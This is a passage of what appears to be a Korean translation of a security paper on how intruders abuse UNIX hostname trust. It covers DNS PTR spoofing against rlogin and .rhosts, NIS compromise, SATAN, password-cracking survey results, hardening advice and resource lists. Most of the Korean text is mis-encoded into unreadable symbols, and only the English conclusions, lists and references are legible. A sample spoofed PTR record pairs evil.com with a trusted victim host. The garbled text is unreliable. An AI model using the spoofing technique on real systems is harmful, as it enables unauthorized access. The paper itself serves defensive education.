�� �� ���� ����� ����� �������� ���ȴ�. ���� �ϴ� ����
/etc/hosts �� �̿��� ������ ���̸�, ���� ��κ�� DNS, NIS �� ��
���ϰ� �ִ�. Ŭ��̾�Ʈ�� ���� ��û�� IP ��巹���� ���� �� lookup ��
�̷�� ���ϴ� Ŭ��̾�Ʈ��� Ȯ��� �ٶ�� �ȴ�.
�̷��� Ȯ�� ���� ���� ���� �����ڵ�� �����ϰ� ����� �߿��� �����
�� ���ȹ����� ȣ��Ʈ�̸� ����� ���̴�. �̰�� �ܼ�� �����ڵ�� ��
�˰� �ִ� hosts.equiv �� .rhosts ����, X ������, NFS ������ ����� ��
� �����̴�. ��� �ŷ�̶� ����� ����ǰų� ����ȭ�ǰų� �ٲ�ġ
�� �� �� �ִµ�,�̴� ������ �������� �ۿ� �ִ� authority �� Ŭ��̾�Ʈ
Ʈ�� �ŷڼ�(Credential)�� �����ϰų� �ŷ��ϴ� ��ī���� �ſ� �����
��쿡�� ��ԵǴ� ��̴�. ���� NIS, DNS ����� ����Ÿ���̽��� ����
ħ�� ���ߴٸ� ħ��ڴ� �ŷ��ϴ� �ý��ۿ����� ����� �� ó�� ������ ��
�����, �̰���� ��ǥ�ý���� �ŷ��ϴ� � ȣ��Ʈ�� �ִ�� ���� ��
�� �ֱ� �����̴�. �� �۾��� �ý��۰����ڳ� root �� ���� ���� � ȣ
��Ʈ���� �����ϴ���� �˻��ϸ� �ſ� ����� �ȴ�.
�ٽ� victim.com �� ��ʷ� ���ư��� �����ڰ� big.victim.com ���� ������
�� ��� �˾Ҵٰ� �����غ���. evil.com�� DNS PTR ���ڵ带 ��ü�Ͽ�
evil.com ���� victim.com ���� rlogin �Ϸ��ϸ� victim.com �� ȣ��Ʈ�̸�
�� ������ �Ͽ� ��ü�� ���ڵ带 ���Ե� ��̴�.
����� ������ PTR ���ڵ�� ��ü�� PTR ���ڵ�̴�.
���� PTR 1.192.192.192.in-addr.arpa IN PTR evil.com
���� PTR 1.192.192.192.in-addr.arpa IN PTR big.victim.com
������� victim.com �� ���ִµ�, big.victim.com �� /etc/hosts.equiv
�� .rhosts �� �����Ѵٸ� ����� ����Ͽ� �н����� ���� ������ �� ���
��̴�. NIS ������ ħ��ڰ� ���� NIS ������ �����ϰ� �ִٸ� ȣ��Ʈ��
��Ÿ���̽��� �����ϴ� ��� ���� ���� ��̸�, ���ϴ� ������ ���� ��ǥ
�ý���� �̿��Ͽ� NIS �� �����ϰų� ����ȭ�� �� ��� ��̴�.
�̷��� ����� ������ 2���� ���� �ִ�. ù°�� �ſ� ����������� ��
������ ����μ� �ܼ�� ��� ȣ��Ʈ�� ��� �ʴ� ��̴�. �ٸ� ��
�� ��ȣ�������� ����ϴ� ����μ� Secure NFS, NIS+ ��� Secure RPC��
����ϴ� ���ε�, ���� ��ȣ�� ������ �ϴ��� ��ȣ�� ������ �ʴ� ��
���� ��� ��ĺ��� �ξ� ���ϴ�. �ٸ� �����μ� smartcard �ϵ��
����ϰų�, kerberos ��� ���Ʈ��� ����� �� �ִµ�, ���ڴ� ���
�� ���ߵ� ���°� �ƴϸ�, ��ڴ� �ý���� ������� ������ �䱸�ȴ�.
�η� B �� ���ͳ� ������������ ������ ���ڷ�μ� ���� �ڼ�� ������
�� �ִ�.
Protecting the system
�ý��ۺ���� ���� �Ϲ���� ���ȵ� ���̰�� �Ѵ�.
- ���� finger ���� �� �ؾ� �Ѵٸ� ������ ������ ��ġ�϶�. �����
Ȩ ���丮��, �α�� �� ȣ��Ʈ�̸� �� �˸� �ʿ�� ���� ��̴�.
- �������� �ʿ���� �ʴٸ� NIS �� ������ ����̸�, NFS �� ������
������ �ʴ´�.
- ����� NFS ��Ͻý���� ����(Worldwide) ������� ����̸�, ������
�б� ������ ������.
- ������ ����ϰ� ��ȣ�Ѵ�. ��� ������ �� �ִ� ������ ����Ѵ�.
- inetd �� portmapper ��� ���ʿ��� ���� ����� �����Ѵ�. ����
�����ϴ� �ý���� �α� ����ϰ� �ʹٸ� wrapper �� ����ϴ� ���
������, ǥ�� ���н����� ���� �α� Ư� ��Ʈ��ũ ���ݿ� ���� ���
�� ���ϴ�. ���� ������ ���� ���� ������ �Լ��ϱ� ���� syslog ��
loghost ��ī��� �̿��϶�.
- �Ϻ��ϰ� ��� �� �ִ� �ý���� ���ٸ� �ŷ��ϴ� ȣ��Ʈ�� ���ش�.
- Shadow �н������ �߸��� �н����带 �������� �н����� ���� ���
�Ѵ�. ������ �ʴ� ���� �ý���� ���ش�.
- �ֱ�� �ڷ�(�����)�� ������ �����ϸ�, ���� ��� ������ ����
���� ������ ��������� ���� ��ȭ�Ѵ�. �ּ��� CERT mailing list
�� �����, Firewall mailing list, ���� ���� ������ � ������
��. �����ɵ� ���� ������ ���� ū ���̴�.
- ���� ��� ȣ��Ʈ�� ���� ������ �ֽ� ��ġ�� ��ġ�Ѵ�.
��Ʈ��ũ ���Ϻ��ý���, Kerberos, ��ȸ�� �н�����ý��� ��� ���ȹ�����
�ذ��ϴµ� ����� ����� ������ ����� �˷��� �̷��� ���ݿ� �� ��
���� ��� �ƴϴ�. �� �� 3, 4 ���� ���� ���� ���� ����ϴ� ��� ��
�ٰ� �ǰ������ ��� �ذ�Ǵ� ��� �ƴ϶�� ���̴�.
Conclusions
Perhaps none of the methods shown here are surprising; when writing this
paper, we didn't learn very much about how to break into systems. What we
_did_ learn was, while testing these methods out on our own systems and
that of friendly sites, just how effective this set of methods is for
gaining access to a typical (UNIX) Internet host. Tiring of trying to type
these in all by hand, and desiring to keep our own systems more secure, we
decided to implement a security tool (SATAN) that attempts to check remote
hosts for at least some of the problems discussed here. The typical
response, when telling people about our paper and our tool was something on
the order of "that sounds pretty dangerous -- I hope you're not going to
give it out to everybody. But you since you can trust me, may I have a copy
of it?"
We never set out to create a cookbook or toolkit of methods and programs on
how to break into systems -- instead, we saw that these same methods were
being used, every day, against ourselves and against friendly system
administrators. We believe that by propagating information that normally
wasn't available to those outside of the underworld, we can increase
security by raising awareness. Trying to restrict access to "dangerous"
security information has never seemed to be a very effective method for
increasing security; indeed, the opposite appears to be the case, since the
system crackers have shown little reticence to share their information with
each other.
While it is almost certain that some of the information presented here is
new material to (aspiring) system crackers, and that some will use it to
gain unauthorized entrance onto hosts, the evidence presented even by our
ad hoc tests shows that there is a much larger number of insecure sites,
simply because the system administrators don't know any better -- they
aren't stupid or slow, they simply are unable to spend the very little free
time that they have to explore all of the security issues that pertain to
their systems. Combine that with no easy access to this sort of information
and you have poorly defended systems. We (modestly) hope that this paper
will provide badly-needed data on how systems are broken into, and further,
to explain _why_ certain steps should be taken to secure a system. Knowing
why something is a problem is, in our opinion, the real key to learning and
to making an informed, intelligent choice as to what security really means
for your site.
---------------------------------------------------------------------------
�η� A: SATAN (Security Analysis Tool for Auditing Networks)
SATAN�� ���� ũ�� �����ϱ� ���� �����Ÿ�� ���� �����̴�. SATAN ��
��ǥ�ϴ� �ý���� �Ϲ���̰� ����� �� ������ ���ϰ� �����ϰų� ��Ʈ��
ũ�� ������ �ý���� ���׳� ���� ����ҵ� �����Ͽ� �����Ѵ�. ����
�� ����Ÿ�� ���� ����� ��Ģ�� ���� ������ �ϰ� ��� �м� ���� ���
�ϱ� ���� ��������α��� ���ȴ�. �̰�� ������ ó������� ����� ��
���ȭ�Ǿ�����, ���� ������ �� �ִ�.
SATAN �� �������� ������α����� �����Ǹ�, ������ Perl, Shell, C �� ���
�Ǿ� �����, ���� �־� ��ǥ�� ���� ������ �� �ִ�. ���� Ȯ�� ���ؼ���
��� ���丮�� ".sat"��� ������α��� �߰��ϸ� �ȴ�. ���̹��� �־�
��ǥ�鿡 ���� DNS, ping ���� ���� ������ Ȯ���ϰ� ������ϵ�� ��� ��
�ý���� �����Ѵ�. ���� �м��ϴ� ����, �������Ʈ ��α��� ����Ǿ�
���������� ���ڰ� ��� �� �ִ� ��·� ��� �����Ѵ�.
---------------------------------------------------------------------------
�η� B: ���� ���� ���� �� �м� ���
�������� ����, ����� �� ��ü�� 200 ��ȣ��Ʈ �� 40000������ ��
�� ���� ����� �����ѹ� ���� ��� 10%�� .rhosts�� ������ �־����� �̰�
�� ��� 6���� �ŷ��ϴ� ȣ��Ʈ�� ������ �־���. ����� � ��쿡��
100�� �̻�� ��Ʈ���� �����ų� ����� 400 ������ ��Ʈ���� ���� .rhosts ��
���� ���� �־���. ���� ��κ�� ��� ���ͳݿ� ���� ����Ǿ� �־��� ��
�� �ϳ��� ������ ��ȭ���� ��ϰ� �־��µ�, ��κ� �� �ܺο� �ŷ���
��ȣ��Ʈ�� ������ �־� ��κ� ������� �� �ۿ� �ִٰ� ���δ�. �Ը�
ū ���� .rhosts�� ���� ������ ��� �ʾ���� �ŷ���� �ʴ� ȣ��Ʈ �� ��
�϶� .rhosts ���� ũ��� ���� �Ǵ�.
��� �� ���� ��Ʈ����� ������� Ȯ���ϱ� ������, Ư� ��ϵ�ī��,
"Makefile". "Message-id:", "^Cs^A^C^M^Ci^C^MpNu^L^Z^O" � ���ؼ���
�ùٸ��� �ŷ��ϴ� �ý�����μ� �����Ǿ������ Ȯ���ϱ� ��������, �� ��
���� �ڽ�� ����� �� ���ڿ��� �ñ�� �ִٴ� ��� �� �� �־���. ����
���� ��Ʈ���� ���� .rhosts ���� ��쿡�� �� ���� �ڸ�Ʈ�� ���� ����
�� �־��µ�, ��κ�� ���н������� �̷��� ��¸� �ùٸ��� �ؼ���� ���
��, ħ���� NIS, DNS �� ȣ��Ʈ�� ���� "#"���� ������ ������� ����Ӱ�
�����Ѵ�.
���� ������ ����� ���ͳݿ����� ��ǥ���� ������ ���ϱ�� ��ư� ���
�� �ƴ���� ��. ����� ���� �����ڵ� ���ȿ����� �����ǰ�� ���� ��
���� ���� �ϰ� �־��� �Ӹ� �ƴ϶� ��̳� �������� ��α��� ����� ��
�� ���� �۾��� ���� �ϰ� �־��� ����� ���δ�.
---------------------------------------------------------------------------
�η� C: �ý��� ���� ���
�츮�� ���� �ý���� �ϳ����� ����� ħ��� �˸��� ���ڿ��� �ް� ���翡
����Ͽ� � ��ü���� �� ħ��ڰ� �н����带 ��ġ�� ���� ���� ��
���ϰ� �ִ� ��� �߰��Ͽ���. �̶� �н����带 ��ġ�� ���� ���̶� NIS ��
���̸��� ���� ������ �� �ִٵ簡 NIS ������ ���� ������ �� �ִ� ����
�ǹ��Ѵ�. ħ��ڰ� �� ������ �־���� �� ����� �� ���� ��� ��
�� ��� �ϱ�� �Ͽ���. ħ��ڴ� 656���� ȣ��Ʈ����Ʈ�� ������ �־��µ�,
��߿��� 25���� ȣ��Ʈ���� 24���� ���� ���ij� �� �־�����, �� �� 3 ���
1�� ��� �ϳ��� �н����� ���� ������ ��ȭ� ���� ������ �־���. ��
1594���� �н����� ��� ��Ʈ������ ���� ����� SUN �ý��ۿ��� 10�и���
50�� �̻�� �н����带 �˾Ƴ�������, 40%�� ��� 20�� ����, root �� �н���
�带 1 �ð����� �ϳ� �˾ƾ־���. ���� ��ĥ ������ 5���� root �н����带
�˾Ƴ�����. �ᱹ 24��(80%)�� �н����� ���� ��� �ϳ��� �߾˷��� �н�
���带 ������ �־�����, 1594���� ��Ʈ���� 259(6��� 1)���� �н����尡 ��
�� ��� �� �� �־���.
---------------------------------------------------------------------------
�η� D: ���� ���ͳ� ���� �ڷḦ �������
Mailing lists:
* The CERT (Computer Emergency Response Team) advisory mailing list.
Send e-mail to cert@cert.org, and ask to be placed on their mailing
list.
* The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
and ask to be added to the list.
* The Firewalls mailing list. Send the following line to
majordomo@greatcircle.com:
subscribe firewalls
* Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
asking to be placed on the list.
Free Software:
COPS (Computer Oracle and Password System) is available via anonymous ftp
from archive.cis.ohio-state.edu, in pub/cops/1.04+.
The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in
pub/security.
Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
TAMU is a UNIX auditing tool that is part of a larger suite of excellent
tools put out by a group at the Texas A&M University. They can be gotten
via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans for
various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
Securelib is available via anonymous ftp from ftp.uu.net, in
usenet/comp.sources.misc/volume36/securelib.
The latest version of berkeley sendmail is available via anonymous ftp from
ftp.cs.berkeley.edu, in ucb/sendmail.
Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
---------------------------------------------------------------------------
�����:
Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
(unpublished).
Massachusetts Institute of Technology, X Window System Protocol, Version
11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
---------------------------------------------------------------------------
��õ �����:
Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
Computer Communication Review 19 (2), 1989; a comment by Stephen Kent
appears in volume 19 (3), 1989.
Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly
and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review 22 (5)
1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four,
Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993.
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Protocal", Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27
(8), 1984.